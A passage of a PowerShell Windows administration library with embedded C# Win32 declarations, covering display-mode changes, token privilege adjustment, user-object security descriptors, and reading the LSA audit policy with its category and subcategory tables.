        public static extern bool GetKeyboardState(byte[] keystate);

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern uint MapVirtualKey(uint uCode, uint uMapType);

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern int ToUnicode(
            uint wVirtKey, 
            uint wScanCode, 
            byte[] lpkeystate,
            [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, 
            int cchBuff, 
            uint wFlags
            );

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern int ToUnicodeEx(
            uint wVirtKey,
            uint wScanCode,
            byte[] lpkeystate,
            [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
            int cchBuff,
            uint wFlags,
            IntPtr dwhkl
            );

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern IntPtr GetKeyboardLayout(uint idThread);

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern IntPtr LoadKeyboardLayout(string pwszKLID, uint Flags);


        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct DEVMODE 
        {
           [MarshalAs(UnmanagedType.ByValTStr,SizeConst=32)]
           public string dmDeviceName;
   
           public short  dmSpecVersion;
           public short  dmDriverVersion;
           public short  dmSize;
           public short  dmDriverExtra;
           public int    dmFields;
           public int    dmPositionX;
           public int    dmPositionY;
           public int    dmDisplayOrientation;
           public int    dmDisplayFixedOutput;
           public short  dmColor;
           public short  dmDuplex;
           public short  dmYResolution;
           public short  dmTTOption;
           public short  dmCollate;

           [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
           public string dmFormName;

           public short  dmLogPixels;
           public short  dmBitsPerPel;
           public int    dmPelsWidth;
           public int    dmPelsHeight;
           public int    dmDisplayFlags;
           public int    dmDisplayFrequency;
           public int    dmICMMethod;
           public int    dmICMIntent;
           public int    dmMediaType;
           public int    dmDitherType;
           public int    dmReserved1;
           public int    dmReserved2;
           public int    dmPanningWidth;
           public int    dmPanningHeight;
        };

        public static DEVMODE CreateDevMode()
        {
           DEVMODE dm = new DEVMODE();

           dm.dmDeviceName = new String(new char[32]);
           dm.dmFormName = new String(new char[32]);
           dm.dmSize = (short) Marshal.SizeOf(dm);

           return dm;
        }

        public const int ENUM_CURRENT_SETTINGS = -1;
        public const int CDS_UPDATEREGISTRY = 1;
        public const int CDS_GLOBAL = 8;
        public const int DISP_CHANGE_BADMODE = -2;

        [DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Ansi)]
        public static extern int EnumDisplaySettings(string lpszDeviceName, int iModeNum, ref DEVMODE lpDevMode);         

        // Note: the CharSet.Ansi must be set this way.
        //       If I use .Auto, it always returns -2 error code
        //       as it accepts the strings incorrectly
        [DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Ansi)]
        public static extern int ChangeDisplaySettings(ref DEVMODE lpDevMode, int dwFlags);

        public static DEVMODE EnumDisplaySettings_Implemented(int modeId) {

            // Note: Normally, one would go for EnumDisplaySettings() directly from PowerShell
            //       but as it appears, it always returns 0. Instead, the following C# code returns
            //       the current settings well.
            // 
            //  $devMode = [Sevecek.Win32Api.User32]::CreateDevMode()
            //  $win32res = [Sevecek.Win32Api.User32]::EnumDisplaySettings($null, [Sevecek.Win32Api.User32]::ENUM_CURRENT_SETTINGS, ([ref] $devMode))
            //
            //       The same happens if we continue with another call to the EnumDisplaySettings() after first obtaining
            //       the devMode struct from this call. 
            //       Thus is seems like PowerShell kind of spoils the output structure, either when received from C#, or when [ref] back

			DEVMODE devMode = CreateDevMode();
			int boolRs = 1;

        	boolRs = EnumDisplaySettings(null, modeId, ref devMode);

            return devMode;
        }

        public static int ChangeDisplaySettings_Implemented(int width, int height)
        {
			DEVMODE devMode = CreateDevMode();
			int boolRs = 1;
            int intRs = -65535; //DISP_CHANGE_BADMODE;

            int modeId = 0;
            while (boolRs != 0) {

        	  boolRs = EnumDisplaySettings(null, modeId, ref devMode);

              if ((boolRs != 0) && (devMode.dmPelsWidth == width) && (devMode.dmPelsHeight == height)) {

                break;
              }

              modeId ++;
            }

            if (boolRs != 0) {

                intRs = ChangeDisplaySettings(ref devMode, CDS_UPDATEREGISTRY | CDS_GLOBAL);
                //intRs = ChangeDisplaySettings(ref devMode, 0);
            }

            return intRs;
        }


        public const uint OWNER_SECURITY_INFORMATION = 0x00000001;
        public const uint GROUP_SECURITY_INFORMATION = 0x00000002;
        public const uint DACL_SECURITY_INFORMATION =  0x00000004;
        public const uint SACL_SECURITY_INFORMATION =  0x00000008;
        public const uint LABEL_SECURITY_INFORMATION = 0x00000010;
        public const uint ATTRIBUTE_SECURITY_INFORMATION = 0x00000020;
        public const uint SCOPE_SECURITY_INFORMATION =     0x00000040;
        public const uint BACKUP_SECURITY_INFORMATION =    0x00010000;
        public const uint UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000;
        public const uint UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000;
        public const uint PROTECTED_SACL_SECURITY_INFORMATION =   0x40000000;
        public const uint PROTECTED_DACL_SECURITY_INFORMATION =   0x80000000;

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool GetUserObjectSecurity(IntPtr hObj, [In] ref uint pSIRequested, IntPtr pSD, uint nLength, out uint lpnLengthNeeded);

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool SetUserObjectSecurity(IntPtr hObj, [In] ref uint pSIRequested, IntPtr pSD);

        
        
        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern IntPtr SendMessageTimeout(IntPtr hWnd, int Msg, IntPtr wParam, string lParam, uint fuFlags, uint uTimeout, IntPtr lpdwResult);

        public static readonly IntPtr HWND_BROADCAST = new IntPtr(0xffff);
        public const int WM_SETTINGCHANGE = 0x1a;
        public const int SMTO_ABORTIFHUNG = 0x0002;

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool SetSysColors(int cElements, int[] lpaElements, int[] lpaRgbValues);
      }

      
      public class WinError {

        public const uint ERROR_SUCCESS = 0;
        public const uint ERROR_ACCESS_DENIED = 0x05;
        public const uint ERROR_SHARING_VIOLATION = 0x20;
        public const uint ERROR_INSUFFICIENT_BUFFER = 0x7A;
        public const uint ERROR_IO_PENDING = 0x3E5;
      }
    }
"@

  if (-not ('Sevecek.Win32Api.Kernel32' -as [type])) {

    DBG ('Define the new type.')
    DBGSTART
    [void] (Add-Type -TypeDefinition $win32api)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

  } else {

    DBG ('The type already exists. Skipping.')
  }

  DBG ('Reset last Win32 error')
  DBGSTART
  [Sevecek.Win32Api.Kernel32]::SetLastError([Sevecek.Win32Api.WinError]::ERROR_SUCCESS)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
}


function global:Define-SevecekUtils ()
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  $powershellUtilsDef = @'

    namespace Sevecek.PowerShellUtils {

      public class Bitwise {

        public static byte Shl(byte what, byte bitCount) {

          return ((byte) (what << bitCount));
        }

        public static byte Shr(byte what, byte bitCount) {

          return ((byte) (what >> bitCount));
        }
      }
    }
'@

  if (-not ('Sevecek.PowerShellUtils.Bitwise' -as [type])) {

    DBGSTART
    [void] (Add-Type -TypeDefinition $powershellUtilsDef)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }
}


function global:Lookup-Privilege ([string] $privilegeName)
<#

SeIncreaseQuotaPrivilege        Adjust memory quotas for a process
SeSecurityPrivilege             Manage auditing and security log
SeTakeOwnershipPrivilege        Take ownership of files or other objects
SeLoadDriverPrivilege           Load and unload device drivers
SeSystemProfilePrivilege        Profile system performance
SeSystemtimePrivilege           Change the system time
SeProfileSingleProcessPrivilege Profile single process
SeIncreaseBasePriorityPrivilege Increase scheduling priority
SeCreatePagefilePrivilege       Create a pagefile
SeBackupPrivilege               Back up files and directories
SeRestorePrivilege              Restore files and directories
SeShutdownPrivilege             Shut down the system
SeDebugPrivilege                Debug programs
SeSystemEnvironmentPrivilege    Modify firmware environment values
SeChangeNotifyPrivilege         Bypass traverse checking
SeRemoteShutdownPrivilege       Force shutdown from a remote system
SeUndockPrivilege               Remove computer from docking station
SeManageVolumePrivilege         Perform volume maintenance tasks
SeImpersonatePrivilege          Impersonate a client after authentication
SeCreateGlobalPrivilege         Create global objects
SeIncreaseWorkingSetPrivilege   Increase a process working set
SeTimeZonePrivilege             Change the time zone
SeCreateSymbolicLinkPrivilege   Create symbolic links

#>
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  # Note: in PowerShell 3 you could use the @{ LowPart = 0 ; HighPart = 0} to initialize the struct
  #       while it is not possible in PowerShell 2
  #
  #       As I don't have any other place to mention some other new things, here they go:
  #       - you cannot call "return" from "finally" block, as it returns the "Control cannot leave a finally block" error in PowerShell 3
  #       - on collections, you CAN call methods of the members directly on the collection itself while you must use foreach in PowerShell 2
  #    
  
  Define-Win32Api

  DBGSTART
  [Sevecek.Win32Api.LUID] $privilegeValue = New-Object Sevecek.Win32Api.LUID
  $resBool = [Sevecek.Win32Api.ADVAPI32]::LookupPrivilegeValue($null, $privilegeName, [ref] $privilegeValue)
  # Note: it sometimes returns 997 even if succeeds
  #$lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
  #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: {0}'-f $resBool)
  DBGIF $MyInvocation.MyCommand.Name { -not $resBool }

  [int] $outValue = -1

  if ($resBool) {

    DBG ('Privilege value: {0} = {1}, {2}' -f $privilegeName, $privilegeValue.LowPart, $privilegeValue.HighPart)
    DBGIF $MyInvocation.MyCommand.Name { $privilegeValue.HighPart -ne 0 }

    DBGSTART
    $outValue = [int] $privilegeValue.LowPart
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }

  DBG ('Returning privilege value: {0}' -f $outValue)
  return $outValue
}


function global:Open-LsaPolicyHandle ([UInt32] $accessMask)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [IntPtr] $lsaPolicyHandle = [IntPtr]::Zero 


  DBG ('Init some essential LSA policy parameters')

  DBG ('Object attributes first')
  DBGSTART
  $objectAttributes = New-Object Sevecek.Win32Api.LSA_OBJECT_ATTRIBUTES
  $objectAttributes.Length = 0
  $objectAttributes.RootDirectory = [IntPtr]::Zero 
  $objectAttributes.Attributes = 0 
  $objectAttributes.SecurityDescriptor = [IntPtr]::Zero 
  $objectAttributes.SecurityQualityOfService = [IntPtr]::Zero 
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  DBG ('System name the second')
  DBGSTART
  $localSystemName = New-Object Sevecek.Win32Api.LSA_UNICODE_STRING
  $localSystemName.Buffer = [IntPtr]::Zero 
  $localSystemName.Length = 0 
  $localSystemName.MaximumLength = 0 
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND


  DBG ('Open LSA policy handle')
  DBGSTART
  $resNTSTATUS = [Sevecek.Win32Api.ADVAPI32]::LsaOpenPolicy(
                        [ref] $localSystemName,
                        [ref] $objectAttributes,
                        $accessMask, 
                        [ref] $lsaPolicyHandle)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resNTSTATUS, $resNTSTATUS)
  DBGIF $MyInvocation.MyCommand.Name { $resNTSTATUS -ne 0 }
  DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $lsaPolicyHandle) }

  DBG ('LSA policy handle opened: {0}' -f $lsaPolicyHandle)

  return $lsaPolicyHandle
}


function global:Adjust-Privilege ([int] $privilege, [bool] $enable, [bool] $threadToken)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  Define-Win32Api

  <#
  DBG ('Try using RtlAdjustPrivilege()')
  DBGSTART
  $enabledBool = $false
  $resUInt = [Sevecek.Win32Api.NtDll]::RtlAdjustPrivilege($privilege, $enable, $false, [ref] $enabledBool)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resUInt, $resUInt)

  if ($resUInt -ne 0) {

    # Note: on Windows Vista, the RtlAdjustPrivilege() does not work with error 0xC000007C
    DBGIF $MyInvocation.MyCommand.Name { $global:thisOSVersionNumber -ne 6.0 }
  #>
    
    [System.Collections.ArrayList] $hndlList = @()
    [IntPtr] $accessToken = New-Object IntPtr

    if (-not $threadToken) {

      DBG ('Should try OpenThreadToken() first to try if we are not impersonating')
      DBGSTART
      # Note: non-exceptioning at first to verify we do not impersonate
      $resBool = [Sevecek.Win32Api.ADVAPI32]::OpenThreadToken(([Sevecek.Win32Api.Kernel32]::GetCurrentThread()), ([Sevecek.Win32Api.ADVAPI32]::TOKEN_ADJUST_PRIVILEGES + [Sevecek.Win32Api.ADVAPI32]::TOKEN_QUERY), $false, ([ref] $accessToken))
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      DBG ('Thread token opened: bool = {0} | token = {1:X8}' -f $resBool, ([int] $accessToken))

      if (-not $resBool) {

        DBGIF $MyInvocation.MyCommand.Name { (Is-ValidHandle $accessToken) }

        DBG ('Must go for OpenProcessToken()')
        DBGSTART
        $resBool = [Sevecek.Win32Api.ADVAPI32]::OpenProcessToken(([Sevecek.Win32Api.Kernel32]::GetCurrentProcess()), ([Sevecek.Win32Api.ADVAPI32]::TOKEN_ADJUST_PRIVILEGES + [Sevecek.Win32Api.ADVAPI32]::TOKEN_QUERY), ([ref] $accessToken))
        $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
        #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
        DBG ('WIN32API Result: {0}' -f $resBool)
        DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $accessToken) }

        DBG ('Process token opened: bool = {0} | token = {1:X8}' -f $resBool, ([int] $accessToken))
      
      } else {

        DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $accessToken) }
        DBG ('Thread token opened ok, will not try OpenProcessToken()')
      }

    } else {

      DBG ('Must go explicitly for OpenThreadToken()')
      DBGSTART
      $resBool = [Sevecek.Win32Api.ADVAPI32]::OpenThreadToken(([Sevecek.Win32Api.Kernel32]::GetCurrentThread()), ([Sevecek.Win32Api.ADVAPI32]::TOKEN_ADJUST_PRIVILEGES + [Sevecek.Win32Api.ADVAPI32]::TOKEN_QUERY), $false, ([ref] $accessToken))
      $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
      #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('WIN32API Result: {0}' -f $resBool)
      DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $accessToken) }

      DBG ('Thread token opened: bool = {0} | token = {1:X8}' -f $resBool, ([int] $accessToken))
    }


    if (Is-ValidHandle $accessToken) {
 
      [void] $hndlList.Add($accessToken)

      DBGSTART
      [Sevecek.Win32Api.TOKEN_PRIVILEGES] $tokenPrivileges = New-Object Sevecek.Win32Api.TOKEN_PRIVILEGES
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      # Note: here, we must go through the $newLuid copy because the Luid member is a structure
      #       if we went just $tokenPrivileges.Luid.LowPart, it would get copied and the assignment would
      #       not take effect at all. Weird as hell.

      $tokenPrivileges.PrivilegeCount = 1
      $newLuid = $tokenPrivileges.Luid
      $newLuid.LowPart = $privilege
      $newLuid.HighPart = 0
      $tokenPrivileges.Luid = $newLuid
      
      if ($enable) {

        $tokenPrivileges.Attributes = [Sevecek.Win32Api.ADVAPI32]::SE_PRIVILEGE_ENABLED
      
      } else {

        $tokenPrivileges.Attributes = 0
      }

      DBG ('Call AdjustTokenPrivileges()')
      DBGSTART
      $resBool = [Sevecek.Win32Api.ADVAPI32]::AdjustTokenPrivileges($accessToken, $false, ([ref] $tokenPrivileges), ([System.Runtime.InterOpServices.Marshal]::SizeOf($tokenPrivileges)), [IntPtr]::Zero, [IntPtr]::Zero)
      $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
      #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('WIN32API Result: {0}' -f $resBool)
      DBGIF $MyInvocation.MyCommand.Name { -not $resBool }
    }
  #}

  Dispose-Handles ([ref] $hndlList)
}


function global:Get-UserObjectSecurityInfo ([IntPtr] $handle) 
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [string] $sddl = ''
  DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $handle) }

  if (Is-ValidHandle $handle) {

    DBG ('Read the SD byte array data size first')
    DBGSTART
    [UInt32] $securityInfoType = [Sevecek.Win32Api.User32]::DACL_SECURITY_INFORMATION -bor [Sevecek.Win32Api.User32]::OWNER_SECURITY_INFORMATION
    [int] $sdDataSize = 0                                     
    $resBool = [Sevecek.Win32Api.User32]::GetUserObjectSecurity(
                $handle, 
                ([ref] $securityInfoType),
                [IntPtr]::Zero,
                0,
                [ref] $sdDataSize
                )
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { ($lastError -ne 0) -and ($lastError -ne [Sevecek.Win32Api.WinError]::ERROR_INSUFFICIENT_BUFFER) }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    # Note: sure it should give the error always
    #DBG ('WIN32API Result: {0}' -f $resBool) 
    #DBGIF $MyInvocation.MyCommand.Name { -not $resBool }

    DBG ('Read the SD byte array data then: {0} bytes' -f $sdDataSize)
    DBGSTART
    [IntPtr] $sdData = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sdDataSize)
    $resBool = [Sevecek.Win32Api.User32]::GetUserObjectSecurity(
                  $handle, 
                  ([ref] $securityInfoType),
                  $sdData,
                  $sdDataSize,
                  [ref] $sdDataSize
                  )
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API Result: {0}' -f $resBool)
    DBGIF $MyInvocation.MyCommand.Name { -not $resBool }

    DBG ('Security descriptor SD data read: {0}' -f $sdDataSize)
    $sdDataArray = New-Object byte[] $sdDataSize
    DBGSTART
    [System.Runtime.InteropServices.Marshal]::Copy($sdData, $sdDataArray, 0, $sdDataSize)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('SD binary form: {0}' -f ([BitConverter]::ToString($sdDataArray)))

    DBGSTART
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($sdData)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    DBG ('Generate the SDDL form of the security descriptor SD')
    DBGSTART
    $sddl = (New-Object System.Security.AccessControl.RawSecurityDescriptor $sdDataArray, 0).GetSddlForm('All')
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }

  DBG ('Security descriptor SDDL: {0}' -f $sddl)
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $sddl }
  return $sddl
}


function global:Set-UserObjectSecurityInfo ([IntPtr] $handle, [string] $sddl) 
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $handle) }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $sddl }

  if ((Is-ValidHandle $handle) -and (Is-ValidString $sddl)) {

    DBG ('Generate the binary SD form of the security descriptor')
    DBGSTART
    $rawSecurityDescriptor = New-Object System.Security.AccessControl.RawSecurityDescriptor $sddl
    [byte[]] $binarySD = New-Object byte[] $rawSecurityDescriptor.BinaryLength
    $rawSecurityDescriptor.GetBinaryForm($binarySD, 0)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBGIF $MyInvocation.MyCommand.Name { $binarySD.Length -lt 1 }

    DBG ('Set the binary SD into the user object by handle: {0} bytes' -f $binarySD.Length)
    DBGSTART
    [IntPtr] $binarySDHeap = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($binarySD.Length)
    [System.Runtime.InteropServices.Marshal]::Copy($binarySD, 0, $binarySDHeap, $binarySD.Length)
    [UInt32] $securityInfoType = [Sevecek.Win32Api.User32]::DACL_SECURITY_INFORMATION # -bor [Sevecek.Win32Api.User32]::OWNER_SECURITY_INFORMATION
    $resBool = [Sevecek.Win32Api.User32]::SetUserObjectSecurity(
                $handle, 
                ([ref] $securityInfoType),
                $binarySDHeap
                )
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API Result: {0}' -f $resBool) 
    DBGIF $MyInvocation.MyCommand.Name { -not $resBool }

    DBG ('Cleanup the temporary heap memory buffer')
    DBGSTART
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($binarySDHeap)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }
}


function global:Get-AuditPolicy ()
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))


  Define-Win32API


  $lsaPolicyHandle = Open-LsaPolicyHandle ([Sevecek.Win32Api.ADVAPI32]::POLICY_VIEW_AUDIT_INFORMATION)

  DBG ('Obtain information policy')
  DBGSTART
  [IntPtr] $informationPolicy = [IntPtr]::Zero 
  $resNTSTATUS = [Sevecek.Win32Api.ADVAPI32]::LsaQueryInformationPolicy(
                        $lsaPolicyHandle,
                        [Sevecek.Win32Api.ADVAPI32+POLICY_INFORMATION_CLASS]::PolicyAuditEventsInformation,
                        [ref] $informationPolicy
                        )
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: 0x{0:X} | {1:D}' -f $resNTSTATUS, $resNTSTATUS)
  DBGIF $MyInvocation.MyCommand.Name { $resNTSTATUS -ne 0 }
  DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $informationPolicy) }

  DBG ('LSA information policy opened: {0}' -f $informationPolicy)

  DBG ('Marshal the buffer into a structure')
  DBGSTART
  $auditEventsInfo = $null
  $auditEventsInfo = [Sevecek.Win32Api.POLICY_AUDIT_EVENTS_INFO] [System.Runtime.InteropServices.Marshal]::PtrToStructure($informationPolicy, ([Type] [Sevecek.Win32Api.POLICY_AUDIT_EVENTS_INFO]))
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $auditEventsInfo }

  $auditPolicyCategories = @{ 
    0 = 'System';
    1 = 'Logon';
    2 = 'Object Access';
    3 = 'Privilige Use';
    4 = 'Detailed Tracking';
    5 = 'Policy Change';
    6 = 'Account Management';
    7 = 'Directory Service Access';
    8 = 'Account Logon';
    }

  $auditPolicySettings = @{
    0 = 'No auditing'
    1 = 'Success'
    2 = 'Failure'
    3 = (Format-MultiValue 'Success', 'Failure')
    }

  DBG ('Audit events info: {0} | {1} | {2}' -f $auditEventsInfo.AuditingMode, $auditEventsInfo.EventAuditingOptions, $auditEventsInfo.MaximumAuditEventCount)
  DBGIF $MyInvocation.MyCommand.Name { $auditEventsInfo.MaximumAuditEventCount -gt $auditPolicyCategories.Keys.Count }
  [int[]] $policyItems = New-Object int[] $auditEventsInfo.MaximumAuditEventCount

  DBG ('Marshal the policy items into the array')
  DBGSTART
  [System.Runtime.InteropServices.Marshal]::Copy($auditEventsInfo.EventAuditingOptions, $policyItems, 0, $policyItems.Count)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $auditEventsInfo }

  DBG ('Policy item values: {0}' -f ($policyItems -join ','))

  [hashtable] $auditPolicyCategoryValues = @{}

  for ($i = 0; $i -lt $policyItems.Count; $i ++) {

    DBG ('Auditing policy category: {0} | {1}' -f $auditPolicyCategories[$i], $auditPolicySettings[$policyItems[$i]])
    $auditPolicyCategoryValues[$auditPolicyCategories[$i]] = $auditPolicySettings[$policyItems[$i]]
  }


  DBG ('Cleanup the information policy buffer memory')
  DBGSTART
  $resNTSTATUS = [Sevecek.Win32Api.ADVAPI32]::LsaFreeMemory($informationPolicy)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ('WIN32API Result: 0x{0:X} | {1}' -f $resNTSTATUS, $resNTSTATUS)
  DBGIF $MyInvocation.MyCommand.Name { $resNTSTATUS -ne 0 }



  if ($global:thisOSVersionNumber -ge 6) {

    [hashtable] $assertCategories = @{

        '69979850-797a-11d9-bed3-505054503030' = 'Account Logon'
        '6997984f-797a-11d9-bed3-505054503030' = 'Directory Service Access'
        '6997984e-797a-11d9-bed3-505054503030' = 'Account Management'
        '6997984d-797a-11d9-bed3-505054503030' = 'Policy Change'
        '6997984c-797a-11d9-bed3-505054503030' = 'Detailed Tracking'
        '6997984b-797a-11d9-bed3-505054503030' = 'Privilige Use'
        '6997984a-797a-11d9-bed3-505054503030' = 'Object Access'
        '69979849-797a-11d9-bed3-505054503030' = 'Logon'
        '69979848-797a-11d9-bed3-505054503030' = 'System'
      }

    [hashtable] $assertSubcategoryCounts = @{

        '69979850-797a-11d9-bed3-505054503030' = 4
        '6997984f-797a-11d9-bed3-505054503030' = 4
        '6997984e-797a-11d9-bed3-505054503030' = 6
        '6997984d-797a-11d9-bed3-505054503030' = 6
        '6997984c-797a-11d9-bed3-505054503030' = 4
        '6997984c-797a-11d9-bed3-505054503030_10.0.10240' = 5
        '6997984c-797a-11d9-bed3-505054503030_10.0.10586' = 5
        '6997984c-797a-11d9-bed3-505054503030_10.0.14393' = 6 # Note: should be 5 on v1507/v1511, at least starting with v1607) it is 6 (the new one: Token Right Adjusted Events)
        '6997984c-797a-11d9-bed3-505054503030_10.0.15063' = 6
        '6997984c-797a-11d9-bed3-505054503030_10.0.16299' = 6
        '6997984c-797a-11d9-bed3-505054503030_10.0.17134' = 6
        '6997984c-797a-11d9-bed3-505054503030_10.0.17763' = 6
        '6997984b-797a-11d9-bed3-505054503030' = 3
        '6997984a-797a-11d9-bed3-505054503030' = 14
        '6997984a-797a-11d9-bed3-505054503030_6.0' = 11
        '6997984a-797a-11d9-bed3-505054503030_6.1' = 12
        
        '69979849-797a-11d9-bed3-505054503030' = 10
        '69979849-797a-11d9-bed3-505054503030_6.0' = 9
        '69979849-797a-11d9-bed3-505054503030_6.1' = 9
        '69979849-797a-11d9-bed3-505054503030_10.0.10240' = 11
        '69979849-797a-11d9-bed3-505054503030_10.0.10586' = 11
        '69979849-797a-11d9-bed3-505054503030_10.0.14393' = 11
        '69979849-797a-11d9-bed3-505054503030_10.0.15063' = 11
        '69979849-797a-11d9-bed3-505054503030_10.0.16299' = 11
        '69979849-797a-11d9-bed3-505054503030_10.0.17134' = 11
        '69979849-797a-11d9-bed3-505054503030_10.0.17763' = 11
        
        '69979848-797a-11d9-bed3-505054503030' = 5
      }

    [hashtable] $assertSubcategories = @{

        '0cce923f-69ae-11d9-bed3-505054503030' = 'Credential Validation'
        '0cce9240-69ae-11d9-bed3-505054503030' = 'Kerberos Service Ticket Operations'
        '0cce9241-69ae-11d9-bed3-505054503030' = 'Other Account Logon Events'
        '0cce9242-69ae-11d9-bed3-505054503030' = 'Kerberos Authentication Service'
        '0cce923b-69ae-11d9-bed3-505054503030' = 'Directory Service Access'
        '0cce923c-69ae-11d9-bed3-505054503030' = 'Directory Service Changes'
        '0cce923d-69ae-11d9-bed3-505054503030' = 'Directory Service Replication'
        '0cce923e-69ae-11d9-bed3-505054503030' = 'Detailed Directory Service Replication'
        '0cce9235-69ae-11d9-bed3-505054503030' = 'User Account Management'
        '0cce9236-69ae-11d9-bed3-505054503030' = 'Computer Account Management'
        '0cce9237-69ae-11d9-bed3-505054503030' = 'Security Group Management'
        '0cce9238-69ae-11d9-bed3-505054503030' = 'Distribution Group Management'
